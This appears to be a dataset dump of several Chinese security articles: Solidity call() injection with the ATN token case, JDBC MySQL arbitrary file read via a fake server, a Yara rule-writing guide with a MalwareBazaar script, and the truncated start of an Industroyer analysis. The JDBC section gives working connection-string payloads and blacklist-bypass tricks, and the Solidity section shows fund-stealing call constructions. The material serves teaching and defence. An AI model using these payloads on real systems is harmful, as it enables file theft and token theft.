text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
### 一、前言
上一篇文章中我们讲述了以太坊中智能合约的详细概念，DApp应用等。除此之外，我们还讲述了EVM虚拟机硬性限制安全方面的相关，包括了一些变量类型、Gas限制以及常见的调用堆深度限制问题。而上述的问题虽然常见，但是利用的空间并不是太大，属于开发人员对函数底层了解的不够充分导致的。而在本文中，我们需要向大家提出一个用途非常广泛的函数，而此函数由于在代码中出现的次数十分频繁，所以其安全性极为重要。而本文通过模型分析、攻击案例的分析已经一些开发点出发，向开发人员与安全分析人员提供一些攻击参考，也帮助大家在开发相应应用的过程中对其有所注意。
### 二、Call函数简介
简单来说，`call()`是一个底层的接口，用来向一个合约发送消息，在平常的应用实例中，我们会经常看到这个函数的使用。例如`test.call("abc",
123)`。test为函数中调用此call方法的用户，abc为调用的方法名称，而123为传入的参数值。如果你想实现自己的消息传递，可以使用这个函数。`call()`函数支持传入任意类型的任意参数，并将参数打包成32字节，相互拼接后向合约发送这段数据。
调用模型如下：
`<address>.call(...) returns (bool)`
而根据上文我们大致对其有所了解，call函数是用于在一个函数中调用另外函数而设计的。我们知道，在信息安全领域中，无论是web端还是逆向范畴中，倘若存在命令执行的入口，那么此处就需要我们重点的对待。比如web中通过传入小码而放入xxx.php文件，由此可以令apache服务器对其直接进行执行操作从而获得我们想要的结果。对于区块链系统也是如此，此处的`call()`函数就为我们提供了一个执行命令的接口，我们通过这个接口使系统执行自己的函数从而转账。下面我们具体来看`call()`函数的一些特性。
在call函数调用的过程中，Solidity中的内置变量 msg 会随着调用的发起而改变，msg
保存了调用方的信息包括：调用发起的地址，交易金额，被调用函数字符序列等。
使用call函数进行跨合约的函数调用后，内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境（合约的storage）。
例如我调用如下函数：
pragma solidity ^0.4.0;
contract A {
address public temp1;
uint256 public temp2;
function Testcall(address addr) public {
temp1 = msg.sender;
temp2 = 100;
addr.call(bytes4(keccak256("test()")));
}
}
contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 200;
}
}
而调用后我们得到，在A合约中，msg.sender = address(调用者) ；在A合约中调用B合约的函数，函数中， msg.sender =
address(A合约地址) 。
同时，在A合约中调用B合约的函数，调用的运行环境是被调用者的运行环境，即是B合约的运行环境。
### 三、攻击模型
我们想要执行以太坊中某个系统函数，需要从一个合约调用另外一个合约的方法。这里我们可以以web浏览器进行类比，被调用的合约看作webserver，而调用的msg则是http数据，EVM底层通过ABI规范来解码参数，获取方法选择器，然后执行对应的合约代码。
而在Solidity语言中，我们可以通过call方法来实现对某个合约或者本地合约的某个方法进行调用。
例如根据文档所示我们有如下调用方法：
<address>.call(调用方法, 参数1, 参数2, …)
<address>.call(bytes)
我们可以通过使用call函数传入调用方法与参数实现功能，除此之外，我们还可以自行构造传入bytes值来执行相应函数。
Solidity编程中，一般跨合约调用执行方都会使用msg.sender全局变量来获取调用方的以太坊地址，从而进行一些逻辑判断等。通常情况下合约通过
call 来执行来相互调用执行，由于 call 在相互调用过程中内置变量 msg
会随着调用方的改变而改变，这就成为了一个安全隐患，在特定的应用场景下将引发安全问题。
#### 1 call函数参数问题
在讨论攻击模型前，有同学会问：函数里面不是有参数吗？那么攻击者又不能改变参数的个数，那你怎么能够做到传入的参数数量正好是原来函数的数量呢？难道你必须要拿到函数的最高权限吗？
下面我们就根据Solidity函数的约束来讲述一下我们如何解决这个问题。
pragma solidity ^0.4.4;
contract A {
uint256 public aa = 0;
function test(uint256 a) public {
aa = a;
}
function callFunc() public {
this.call(bytes4(keccak256("test(uint256)")), 10, 11, 12);
}
}
我们看上面的函数，方法`callFunc()`中使用了`call()`函数用来调用上述的`test()`方法。而我们发现下面的`callFunc()`函数传入了10、11、12三个参数，而我们上述`test()`函数中只有一个传入的参数，例子中
`test()`函数仅接收一个 `uint256` 的参数，但在`callFunc()` 中传入了三个参数，由于 call 自动忽略多余参数，所以成功调用了
`test()`函数。
根据此Solidity的特性，我们也就对参数的个数不用过多考虑，仅仅需要调用攻击即可。
#### 2 权限绕过模型
我们知道在Solidity编程中我们都会使用msg.sender全局变量来获取调用方的以太坊地址。并且使用msg.sender来作为扣款方。
function transfer(address to, uint256 value) returns (bool success) {
balances[msg.sender]-= value;
balances[to] += value;
}
下面我们看一个身份认证函数：
function isAuth(address src) internal view returns (bool) {
if (src == address(this) || src == owner) {
return true;
}
else {
return false;
}
}
此身份认证函数用以验证调用函数一方是否是`合约拥有者`或者`合约本身`。倘若是则返回真，否则返回假。
function callFunc(bytes data) public {
this.call(data);
}
function withdraw(address addr) public {
if(!isAuth(msg.sender)) throw;
addr.transfer(this.balance);
}
上面的函数中，我们写了`withdraw()`函数，而此函数中包括了身份验证模块。倘若验证失败，则直接退出。所以作为攻击者，我们应该想办法绕过这个函数。这个时候我们就要借助上面的`callFunc()`函数了。
由于`data`中的值是我们自己构造的，所以我们可以传入我们的攻击代码。我们看如下，倘若我们传入：`data =
bytes4(keccak256("withdraw(address)")),
target`，那么意味着我们将执行`this.call(bytes4(keccak256("withdraw(address)")),攻击者地址);`。由于我们知道函数的执行环境为被调用者的运行环境，也就是系统本身的环境，所以我们利用系统内部来执行了函数并调用了其他函数。而这样我们的调用者自然而然就是合法的，也就是说我们绕过了系统函数的安全验证。从而将钱转账到我们自己的账户。
下面我们看一道利用bytes值传入参数的例子：
fuction CPcall(address A, uint256 value, bytes Data) public
{
....
if(!A.Call(Data)){
revert();
}
....
}
下面我们看一下内部的转账函数：
fuction transfer(address to, uint256 value) public tansferAllowed(msg.sender) returns {
...
Transfer(msg.sender, to, value);
...
}
在`CPcall()`函数中，我们利用了call函数，比并且其参数Data是我们传入的bytes值。而此值我们可以进行控制，所以我们完全可以传入调用函数`transfer()`，并且在传入参数中将`to`设置为攻击者自己的地址。这样不仅绕过了`tansferAllowed(msg.sender)`，还攻击了系统，将以太币传给自己。
#### 3 代币方法器注入攻击
在上面我们利用bytes类型的变量传入了攻击利用代码，而倘若我们没有办法进行关键参数的传入工作，而只能传入函数名应该怎么办？
例如：
function CPcall(address _to, uint _value, bytes data, string fallback){
...
assert(_to.call(bytes4(keccak256(fallback)),msg.sender, _value, _data)) ;
...
}
上述函数中传入了四个变量，而加入我们能操控的变量只有`fallback`，而`value`与`data`我们无法自行传入。我们应该如何调用下一步的操作？
这里我们写出转账函数的内容：
function transfer(address a, uint value) public returns (bool success)
{
trans(msg.sender, a, value);//向a转账value数量的钱
}
倘若如此，我们就可以利用call来进行内部调用转账函数来达到偷币的效果。
我们可以仅仅将`fallback`的值修改为`transfer`，并且使函数`CPcall()`中的断言函数中调用转账函数。不过同学会问，上一个函数中的参数有三个，而下面的只有两个，那不会不匹配吗？我们这里知道，其实这个函数同样会执行成功的。这是因为EVM在获取参数的时候没有参数个数校验的过程，因此取到前两个参数之后，就把最后一个参数`_data`给截断掉了，在编译和运行阶段都不会报错。
### 四、攻击案例
#### ATN代币增发
2018.5.11，ATN 技术人员收到异常监控报告，显示 ATN Token 供应量出现异常，通过分析发现 Token 合约由于存在漏洞受到攻击。由于
ATN 代币的合约中的疏漏，该事件中 call 注入不但绕过了权限认证，同时还可以更新合约拥有者。
本次事件的原因是由于在 ATN 项目中使用到了 `ERC223`和 `ds-auth`库，两个库在单独使用的情况下没有问题，同时使用时就会出现安全问题。
在ERC223 标准中定义了自定义回调函数：
pragma solidity ^0.4.13;
contract ERC223 {
function transfer(address to, uint amount, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok);
function transfer(address to, uint amount, bytes data, string custom_fallback) public returns (bool ok);
function transferFrom(address from, address to, uint256 amount, bytes data, string custom_fallback) public returns (bool ok);
event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data);
event ReceivingContractTokenFallbackFailed(address indexed from, address indexed to, uint amount);
}
下面为函数的具体详情：源地址在[ERC233](https://github.com/ATNIO/atn-contracts/blob/master/src/ATN.sol)
/*
* ERC 223
* Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload.
*/
function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
public
returns (bool success)
{
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
ERC223Transfer(_from, _to, _amount, _data);
return true;
}
我们重点看
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
而[ds-auth](\[https://github.com/dapphub/ds-auth\]\(https://github.com/dapphub/ds-auth)
) 权限认证和更新合约拥有者函数如下：
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
...
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
而我们根据两个核心代码可以进行分析：
首先攻击者通过调用`transferFrom()` 函数，并将自己的钱包地址作为`_from` 参数，ATN 合约的地址作为 `_to`
参数。然后传入`setOwner`作为回调函数。在执行的过程中，由于上文我们可知，当参数数量大于调用函数的参数数量时，后面的参数自动被忽略。之后call
调用已经将 `msg.sender`转换为了合约本身的地址，也就绕过了
`isAuthorized()`的权限认证，将拥有者改为了自己。之后攻击转账后再次调用`setOwner()`将权限还原，不留痕迹。
### 五、总结
根据上文，我们可以知道`call()`函数存在许许多多的问题。我们总结下来大致有以下一些问题，因为call函数特殊的性质导致其能够调用其他函数。而根据我们信息安全的思维来看，能执行命令那么久会存在安全隐患。所以我们在未来开发的时候要严格对此函数进行过滤以及包装。我们总结下来，在之后的虚拟机设计中可以遵循以下原理：
* 1 简单性：尽可能少、尽可能底层的操作码，尽可能少的数据类型，尽可能少的虚拟机层次结构。
* 2 完全确定性：VM规范的任何部分不能存在歧义，结构需要是完全正确的。此外，应该有相应的计算步骤来记录Gas的消耗。
* 3 空间节省：EVM组件需要尽可能的紧凑。
* 4 简单的安全性：为了使VM不会被攻击，应该很容易得出智能合约运行所需要消耗的“燃料”成本。
### 六、参考资料
* 1 <https://blog.csdn.net/tianlongtc/article/details/80220237>
* 2 <http://me.tryblockchain.org/Solidity-call-callcode-delegatecall.html#fn1>
* 3 <https://paper.seebug.org/624/>
* 4 <https://github.com/ATNIO/atn-contracts/blob/master/src/ATN.sol>
* 5 <https://github.com/dapphub/ds-auth> | 社区文章 |
# JDBC MySQL任意文件读取分析
文章首发于知识星球-赛博回忆录。给主管打个广告，嘿嘿。
在渗透测试中，有些发起mysql测试流程(或者说mysql探针)的地方，可能会存在漏洞。在连接测试的时候通过添加`allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile`与伪造的服务器进行通信，造成任意文件读取。
完整payload:
`test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360`
以下是可以利用该漏洞的一些场景
## 一、端之间数据交互流程
简述一下客户端（被攻击端）与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。
1.问候MySQL客户端
2.等待查询包（03）
3.回答本地数据文件请求tcp option（01 01 08 0a 58 77 5b a8 e9 1f b7 2d
）。前三个字节是数据包的大小（0b 00 00）。接下来的1个字节是数据包编号（01）。下一个字节是数据包类型（fb），然后是文件名（2f 65 74 63 2f 70 61 73 77 64 /etc/hosts）。
主要是数据包的类型字段fb，要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
<https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html>
在mysql文档中的说到， **服务端可以要求客户端读取有可读权限的任何文件** 。
### java端类的初始化变量
`com.mysql.jdbc.NonRegisteringDriver#connect`主要进行赋值的工作，根据url的内容解析为properties，并对connection这个基类进行赋值，进行初始化的工作。
## 二、连接参数设置
很多文章仅仅提到了两个可利用的参数。 **allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。**
文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录，这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似
设置包大小参数
maxAllowedPacket=655360
参考：
<https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html>
## 三、8.0.x和5.1.x版本的一些差异
通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。
### 1、注释符差异
如果对jdbc的连接是对参数进行拼接，可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖，从而绕过该修复方案。
static String driverName = "com.mysql.cj.jdbc.Drive";
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter("jdbcUrl");
Connection conn = DriverManager.getConnection(jdbcUrl + "&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false");
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
#### 8.0.x
`test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#`
8.0.x是可以使用注释符`#`来注释掉后面的内容。
8版本在解析connectionString的时候，最后一步query会根据正则匹配将`#`后面的注释部分去掉。
这样一来可以注释掉之后拼接的内容，覆盖后面想要赋值的变量。
完整的传入`test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false`进行对allowLoadLocalInfile，allowUrlInLocalInfile参数值的覆盖。
#### 5.1.x
5.1.x 不可以使用注释符`#`来注释掉后面的内容，但是可以使用`&x=`来拼接后面的内容，比如下图这样就可以使用拼接来绕过。
`test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=`
### 2、参数名和参数值解析差异
这个方式主要是为了绕过对黑名单的检测，如果在传入payload的时候对这两个值进行校验。
如果黑名单检测的代码是这样写的，很有可能会存在绕过的问题。
public static boolean isValidUrl(String url){
if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){
return false;
}
}
#### 8.0.x
8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
`jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65#
。allowUrlInLocalInfile，maxAllowedPacket这些字段都是可以url编码绕过的。`
所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配，不然可能会造成黑名单绕过的问题。
#### 5.1.x
仅仅参数值可以被编码。
jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码，绕过对true的赋值。
所以5版本无法绕过对黑名单机制的检测。
## 四、关于fakeserver脚本的一些问题
推荐使用<https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。>
有些连接的参数发出来是utf8mb4会遇到下面的报错：
通过抓取wireshark的流量，发现utf8的编码发出包的charset flag是21：
而utf8mb4发出来的编码集是45
所以上面报错的信息会显示不支持，是因为字符集没有被定义：
在flags.py添加一行定义即可。
## 五、修复方案
原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉，就可以关闭本地文件读取以及URL读取了。
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL,properties);
## 六、参考链接
<https://paper.seebug.org/1112/> | 社区文章 |
# 如何编写有效的Yara特征
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
笔者在去年夏天学习和分析CobaltStrike时编写了一篇[yara](https://www.yuque.com/p1ut0/qtmgyx/eubd9v)入门的文章，算是填坑，在此文中记录下一些常见的编写思路。
## PDB路径
PDB文件是在程序编译时产生的，它记录了程序的符号表，通过PDB，我们可以很方便对目标程序进行调试。
#程序编译时分为Private Build和Public Build。
#private build 表示开发人员在自己的电脑上进行coding和build，此时编译后的程序和pdb在相同的路径下。
#Public build 表示开发人员在公用的电脑上进行build，在这种情况下，还需一个symbol server以存储所有程序的pdb，当用户程序报错，debugger才能根据symbol server自动找到报错程序所对应的pdb，加载符号以方便程序员进行调试
pdb信息一定是和生成的程序同名的，若生成的程序名为: normal.exe 那么对应的pdb一定为: normal.pdb。
当调试器加载目标进程的pdb时，调试器首先会尝试查找与程序同名的pdb文件，若成功找到目标pdb，调试器则会检查嵌入到PDB和目标进程中的GUID是否匹配，匹配则成功加载，不匹配则加载失败。由于GUID计算时会使用时间因子，所以pdb和程序总是一一对应的。
还是以上面的简单代码为例，在加载pdb之后，可以最大程度的还原符号表，提升分析效率
了解了pdb的作用和基本原理之后，下面来看看在样本查杀和hunting中pdb发挥的作用。
#需要稍微区分下hunting和查杀的区别
#通常在样本hunting时可以将特征写的宽泛一些，因为hunting的目的是尽可能的根据当前的信息去寻找更多的样本，在这种情况下，是允许误报并且可以由特征编写人员去人工判定误报的。
#而查杀，也就是恶意代码查杀方向，对特征的要求会比较高，通常不能接受误报，特征编写人员需要把握好查杀率和误报率之间的平衡。
一般来说，在分析中遇到的pdb信息有如下几类
1、普通pdb名，可完全匹配pdb，以pdb信息作为查杀条件。
2、以pdb路径中的部分信息作为过滤条件，快速过滤掉不相干样本。
3、无字面意义pdb，如文件名称为随机字符串，此类pdb最好不好选做特征，否则将会变成单杀特征。
4、带人名/盘符/路径/日期/等信息的有价值pdb，此类pdb有可能是攻击者不小心留下来的，价值较高。
5、误导性pdb，有的pdb信息不仅无用，还会误导分析人员。
### 普通pdb
以最近又异常活跃的Dridex为例，笔者在分析其中一个样本时发现样本中保留的pdb信息如下：
这里只是一个孤零零的pdb名称，并无路径信息，且此pdb名称并无实际意义，在vt上对此信息进行检索，能查到大批相关样本（从文件大小可以看出这些样本其实是相同的，可能只修改了极少的字节所以有了不同的md5，这里只是用它们举一个简单的例子）
关于Dridex相关的样本，[MalawareBazaar](https://bazaar.abuse.ch/browse/signature/Dridex/)上面倒是又不少，这里刚好可以借助其进行练习。笔者之前根据bazaar提供的API接口写了个简单的脚本用于批量查询样本并获取基本信息，效果如下
免费注册bazaar之后将会得到一个APIkey，将自己的APIkey填充到下面的脚本中即可，调用方式为：
python3 get_bazaar_samples_info.py <samples_tag> <limit>
比如要得到上面csv中的内容，输入
python3 get_bazaar_samples_info.py Dridex 10
import sys
import requests
import os
import json
import csv
import datetime
def getbaseinfo(tag,limit):
getdate = datetime.datetime.now().strftime('%Y-%m-%d')
csvFileName = getdate + "_" + tag + '.csv'
f = open(csvFileName,'w',newline='',encoding='utf-8')
csv_writer = csv.writer(f)
csv_writer.writerow(['sha256_hash','md5_hash','first_seen','file_name','file_size','file_type','signature','tags','clamav'])
headers = {'API-KEY':'your API key'}
data = {
'query':'get_taginfo',
'tag':''+tag+'',
'limit':''+limit+''
}
response = requests.post('https://mb-api.abuse.ch/api/v1/', data=data,headers=headers)
json_response = json.loads(response.content)
samples_info = json_response['data']
for sample in samples_info:
hash256 = sample['sha256_hash']
md5 = sample['md5_hash']
first_seen = sample['first_seen']
file_name = sample['file_name']
file_size = sample['file_size']
file_type = sample['file_type']
signature = sample['signature']
tags = sample['tags']
intelligence = sample['intelligence']
if 'clamav' in intelligence.keys():
clamav = intelligence['clamav']
else:
clamav = ""
csv_writer.writerow([hash256,md5,first_seen,file_name,file_size,file_type,signature,tags,clamav])
f.close()
# print(json_response['data'][0]['md5_hash'])
if __name__ == '__main__':
if len(sys.argv) < 3:
print("Usage: python3 get_bazaar_samples_info.py <samples_tag> <limit>")
quit()
tag = sys.argv[1]
limit = sys.argv[2]
getbaseinfo(tag,limit)
同样的，也可以根据bazaar提供的API接口完善脚本，实现查询之后自动从bazaar上下载样本并解压到本地。
样本下载回来之后，按照大小排序，可以看到一共有三类样本，分别是162kb大小、160kb大小和159kb大小。三类样本对应的pdb信息分别是
Gsp.pdb、fffp4.pdb、Gsp.pdb
此时，光通过fffp4.pdb这个信息已经不足以匹配完我们视野范围内的Dridex样本了，这也是光以pdb信息作为特征点的一个局限性：通用性较差，很有可能查不了代码没怎么改变的变种样本。
### 通过pdb过滤
上面样本遇到的fffp4.pdb，通过google引擎检索之后只有6条相关结果，且出来的结果都是沙箱相关的检测报告，点进去发现对应的样本的确是属于Dridex的恶意样本，因此可以考虑以fffp4.pdb作为一条特征。
但是更多的时候，我们可能在样本中会遇到名字普普通通的pdb名称，此时再用pdb作为特征就明显不合适。以ebb83160e97ea11f46057a92f16e37ec样本为例，该样本所包含的pdb名称为debug.pdb
debug.pdb这个名字较为常见，此时若是以该名字作为特征明显不合适，但是这里可以注意到，一般情况下，正常程序的pdb信息是完整路径，而不是像这个样本中孤零零的一个文件名。所以正常程序的debug.pdb前面应该是路径中的斜杠而不是00，因此可以加上00在vt上进行connect搜索：
搜索结果返回回来全是恶意程序，但这并不意味着可以直接以这段hex作为特征，我们将搜索结果限制在报毒数小于10可以看到就出现了一些白样本
因此，此类pdb可以作为一个筛选过滤条件。
再来看看另一批样本，原始样本中的pdb信息如下
在只有一个样本或是一批相同样本的情况下比较难利用此pdb信息做文章，笔者在分析和关联之后，定位到了同源，但是拥有不同pdb的样本，信息如下
经过简单的关联分析之后，很快可以得到结论，该家族的样本binIE\MiniIE2.pdb
的信息不会变，前面的盘符和code_路径有可能改变，但若只匹配binIE\MiniIE2.pdb
还是有一定几率的误报，所以可以以该段hex数据作为过滤条件，加上部分的实际代码抑制误报。
### 无意义pdb
严格意义上来讲，上面提到的fffp4.pdb也算是无意义pdb，因为将该pdb信息写成yara特征，扫描回来的样本必然是大同小异的，或者说代码段几乎完全相同，在这种情况下，看似是pdb信息起了作用，实际上随便取一段代码的opcode做特征效果也一样。
还有一种笔者认为的无意义pdb是随机字符串pdb，如下所示：
此类pdb没有路径等信息，基本上只会出现一次，就算通过该信息关联到了样本，情况和上面的fffp4.pdb也大致相同。
### 高价值pdb
“高价值”pdb信息通常出现在高级威胁追踪与分析中。
以BITTER为例，部分样本残留了pdb信息：
C:\Users\ARAGON\Documents\Visual Studio
2008\Projects\DownWin32\Release\DownWin32.pdb
C:\Users\UserA\Documents\Visual Studio 2008\Projects\Artra\Release\Artra.pdb
虽然此类样本pdb信息不相同，代码也相差甚远，但是pdb的命名风格却较为相似。
C:\Users{UserName}\Documents\Visual Studio
2008\Projects{demoName}\Release{DemoName}.pdb
从上面两个样本来看，可变部分是上面橙色标记的几个值，但是这里不妨猜测，Visual
Studio的版本后面也会变，所以可以编写一条正则特征，用于检测包含了下面这种模式pdb的样本
C:\Users{UserName}\Documents\Visual Studio
{2008}\Projects{demoName}\Release{DemoName}.pdb
后面的样本也能佐证这条特征的合理性：
继续分析，还能看到有的样本中加入了时间因子，这里的28Nov应该是表示11月28，我们可以对比分析作者信息不相同的样本，慢慢找到BITTER中不同人员的分工，以及他们的共用代码。
### 错误pdb
一个典型的错误pdb是msf框架所生成的meterpreter的payload。
#常见的msf马有两种
#一类是patch入口点，创建线程执行shell code之后跳转到原始的入口点继续执行。
#一类是将入口点完全替换为msf的shellcode，此类样本会直接通过多个跳转动态解密执行。
msf默认生成的meterpreter样本尾部有一个pdb路径叫做：C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
这里的pdb其实不是msf自身的pdb，而是Apache提供的性能检测工具ab.exe的pdb信息。
patch
ab.exe是msf的常见手法，通常来说，msf生成的meterpreter还会保留ab.exe的版本信息，笔者暂未阅读过msf的源码，所以猜测起初可能是为了增加样本的免杀性，但是目前在免杀方面已经没什么效果，可能可以迷惑一下初级的样本分析人员
虽然这里的pdb路径不在正常的位置的，IDA载入文件时也不会提醒加载pdb，但是yara作为全文扫的引擎，不能指定pdb出现的位置，为了避免误报，所以不能取这样的pdb作为特征。
关于PDB，暂时说这么多，总的来说，样本中残留的pdb信息有时可以比较好的帮助我们完成溯源、关联等工作。但是不适合作为特征，可以在yara中作为一个可选条件。
## 互斥体
和pdb一样，互斥体大多数时候并不能直接作为查杀特征甚至是hunting特征，只是在深入分析某个组织，构建TTPS时可以起到一定的作用。
大多数恶意软件感染计算机之后会通过计划任务、开机启动注册表、启动项等方式实现本地持久化，但是像计划任务启动这种方式有可能会倒是程序多开，过多的进程名可能会引起用户或运维人员的注意，为了避免此类情况，攻击者有时候会创建互斥体以保证样本在主机上只有一个实例运行。
恶意软件常见的互斥体有以下几类
1、获取当前的计算机基本信息计算出一个ID，以该ID作为互斥体名
2、硬编码在代码中的互斥体名，如程序名、C2地址、地名、小说人物名、随机乱码名
3、仿冒正常程序的互斥体名。
互斥体取名相对来说比较”困难”，为了避免不同版本的恶意软件感染同一个主机并在主机上同时运行，攻击者通常需要选用多个版本同时适用的互斥体名。
比较直接的做法是获取用户主机的计算机名、用户名等信息通过固定的算法生成一个ID用于标识受害者主机，这个ID可以作为互斥体名，同时也可以作为请求头中的id，发送上线标识包。
还有一个简单的做法是以请求域名作为互斥体名称，这样可以保证，与同一个C2通信的样本不会重复运行。
不过大部分的恶意软件开发者会选择实用随机字符串作为互斥体名，这可能是他们没有考虑版本更新方面的问题，也有可能是有意为之。
### 随机字符串
以Clop勒索软件为例（7edc821c3b46e85f262a96182ed2de86），样本运行后会在线程中创建名为
FSKJHFOJKW#^^^66^6
的互斥体，经过搜索引擎和VT可得知该互斥体名为随机生成，并无实际意义，所以不能作为样本特征。
以Clipper家族的样本为例，同一批样本，代码结构很相似，但是创建的互斥体名也是不同的，这里的互斥体名也是通过随机字符生成，不能作为特征点或是关联分析的关键点。
### 请求域名
以05690a450fea902744c9f7560a999267样本为例，样本运行后，会创建名为
qq2009.3322.org
的互斥体名
通过VT也可以看到，的确有很多样本请求了该域名
因此，类似于这种以域名作为互斥体名的样本，是可以考虑直接以互斥体名（域名）作为特征的，但是这个特征说是查互斥体名，其实也是查域名，通用性相对来说也较差。
### 伪装
在上面讲pdb的时候讲到了有的恶意软件会伪装正常软件的pdb信息以迷惑用户，互斥体也不例外。
以e6fcdc19924db03a6c2c026c7992344b样本为例，样本运行后会创建名为chromiumUndate的互斥体名。
这里的互斥体名很明显是仿冒了Chromium更新程序名，此外，攻击者还仿冒了Chromium的版本信息
并且特意保留了仿冒Chromium的pdb信息，希望通过这三层信息迷惑用户或是迷惑初级分析人员
此类样本的特征是相对危险的，在提取时需要格外注意。
### 计算生成
通过收集本地主机信息计算ID作为互斥体名的一般是高级威胁所涉及的样本。
这里又会分为两类
1、 直接在样本中获取指定信息，计算，然后生成互斥体名。
2、 上一阶段的样本获取信息并计算ID传入到C2，C2根据此ID生成对应的样本。
通过这种方式，较难根据互斥体名进行溯源或是主动关联其他样本，但是我们可以收集和记录，在遇到该家族其他样本时进行被动关联。
关于此类互斥体名，已经脱离了静态特征的范畴，在此节中不进行深入讨论 | 社区文章 |
作者: **启明星辰ADLab**
#### 一、分析背景
2017年6月12日，安全厂商 ESET 公布一款针对电力变电站系统进行恶意攻击的工控网络攻击武器 -win32/Industroyer (ESET命名),
ESET 表示该攻击武器可以直接控制断路器，可导致变电站断电。 Industroyer 恶意软件目前支持四种工控协议：IEC 60870-5-101、IEC
60870-5-104、IEC 61850以及OLE for Process Control Data Access（简称OPC
DA）。这些协议广泛应用在电力调度、发电控制系统以及需要对电力进行控制行业，例如轨道交通、石油石化等重要基础设施行业，尤其是 OPC
协议作为工控系统互通的通用接口更广泛应用在各工控行业。可以看出，攻击者对于工控系统尤其是电力系统相关的工控协议有着深厚的知识背景，并且具有目标工控环境下的各种工控设备，攻击者需要这些设备来实现恶意代码的编写和测试工作。
与2015年袭击乌克兰电网最终导致2015年12月23日断电的攻击者使用的工具集（BlackEnergy、KillDisk、以及其他攻击模块）相比，这款恶意软件的功能意义重大，它可以直接控制开关和断路器，Industroyer
身后的黑客团队无论从技术角度还是从对目标工控系统的研究深度都远远超过了2015年12月乌克兰电网攻击背后的黑客团队。
ESET 公布该恶意软件之前，曾经对 Dragos 公司做过相应通告，Dragos
根据通告的内容找到该恶意软件的样本并且通过他们对该批恶意软件的编译时间推测该恶意软件曾被利用来攻击乌克兰的变电站导致2016年12月那次半个小时的乌克兰停电事件。目前可以说
Industroyer 恶意软件是继 STUXNET、BLACKENERGY 2以及 HAVEX
之后第四款对针对工业控制系统进行攻击的工控武器。启明星辰ADLab根据 ESET 提供的HASH文件对这批样本进行了分析验证并在某些方面做了更加深入的分析。
#### 二、Industroyer 恶意软件简要分析
Industroyer 恶意软件是由一系列的攻击模块组成，根据目前所公开的信息及 ESET
得到的模块就多达10多个。其中存在一个主后门模块，它被用于连接C&C下载另外一批模块执行，这些模块分别为：实现 DLL Payload
模块执行的加载器模块、实现数据及痕迹清理的 haslo 模块、实现IP端口扫描的 port 模块以及实现西门子 SIPROTEC 设备 DoS 攻击的
DoS 攻击模块。其中，DLL Payload 模块包含实现 IEC 101 工控协议的 `101.dll` 模块、实现 IEC 104 工控协议的
104.dll 模块、实现 IEC 61850 协议的`61850.dll/61850.exe` 模块以及实现 OPC DA 协议的
